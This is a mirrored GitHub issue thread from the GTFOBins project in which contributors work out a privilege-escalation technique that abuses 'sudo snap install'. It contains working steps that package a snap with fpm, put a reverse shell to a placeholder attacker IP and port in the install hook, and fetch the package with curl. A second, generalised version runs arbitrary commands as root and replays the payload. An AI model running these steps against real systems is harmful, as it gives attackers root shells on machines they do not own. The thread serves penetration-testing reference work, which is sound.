Comments (4)
PS in the PR for the setup part you can take inspiration from rpm.
from gtfobins.github.io.
Thanks! Yes please start sketching a PR, we'll start from there. Try to keep it simple and see if you can just drop a shell instead of the reverse shell (which technically is not snap
that spawns the revshell but bash
), hence also please drop the firewall thing.
I briefly tried your script and complains about the permissions of multipass_socket
, then:
launch failed: CPU does not support KVM extensions.
But I guess that's because I'm in a VM myself.
from gtfobins.github.io.
@cyrus-and
To do this in a VM, you need to enable "Virtualize Intel VT-x/EPT or AMD-V/RVI" so you can have VMs in a VM.
I had to disable the firewall because it was causing issues interacting with the container.
Also, doing further research, there is a better way to do this using FPM (https://github.com/jordansissel/fpm):
Install with this:
sudo apt-get install ruby ruby-dev rubygems gcc make rpm
sudo gem install --no-document fpm
Create snap package:
mkdir -p ./meta/hooks
printf '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/MYIP/MYPORT 0>&1"\n' > ./meta/hooks/install
chmod a+x ./meta/hooks/install
fpm -n revshell -s dir -t snap -a all ./meta
Transfer/Trigger to the target:
curl MYIP/revshell_1.0_all.snap -o revshell.snap
sudo snap install revshell.snap --dangerous --devmode
Unfortunately I cannot get it to just spawn a "bash" or a "sh" directly as the processing continues or halts and am unable to interact with the shell.
If this will suffice, I can make a PR of the following using fpm that spawns a reverse shell.
from gtfobins.github.io.
To do this in a VM, you need to enable "Virtualize Intel VT-x/EPT or AMD-V/RVI" so you can have VMs in a VM.
Thanks, it work now.
Unfortunately I cannot get it to just spawn a "bash" or a "sh" directly as the processing continues or halts and am unable to interact with the shell.
Apparently the hooks are run in a sort of chrooted environment where not all the devices are available so we cannot easily reuse the TTY for an interactive shell, but we can still run single commands and display their stdout/err.
Also if we make the install
hook fail, we have the possibility to replay the payload with another snap install
.
All in all, I'd put this in a GTFOBins command
function:
# setup
COMMAND=id
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n my-snap -s dir -t snap -a all meta
# execution
sudo snap install my-snap_1.0_all.snap --dangerous --devmode
from gtfobins.github.io.
Related Issues (20)
- Any script to run through all the escalations and see if they βworkβ? HOT 2
- ispell / contributing HOT 1
- Hello -> SUID for usr/bin/screen HOT 2
- bundle command missing, is alias for bundler?
- How to add examples? HOT 1
- Fix for sudo from NPM binary HOT 1
- How to use File read escalation HOT 4
- ruby CAP_CHOWN capability HOT 1
- The SUID authorization command of the rsync command is incorrect; Missing - p parameter HOT 5
- Wget SUDO old version HOT 1
- Additional wireshark trick HOT 1
- Add privilege escalation technique using LXD/LXC HOT 2
- genisoimage file read HOT 1
- Proposal: Limited File Write Category
- Proposal: Expand Capabilities to other exploitable types eg CAP_CHOWN, CAP_SYS_PTRACE
- Recent Commit Accidentally Removes Bash Methods HOT 1
- Proposal: Expand Sudo technique root HOT 1
- Add another file read to genisoimage
- I can't open GTFOBins.gihub.io in my Google
- Additional vim SUID exploitation option? HOT 1
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
π Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. πππ
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google β€οΈ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from gtfobins.github.io.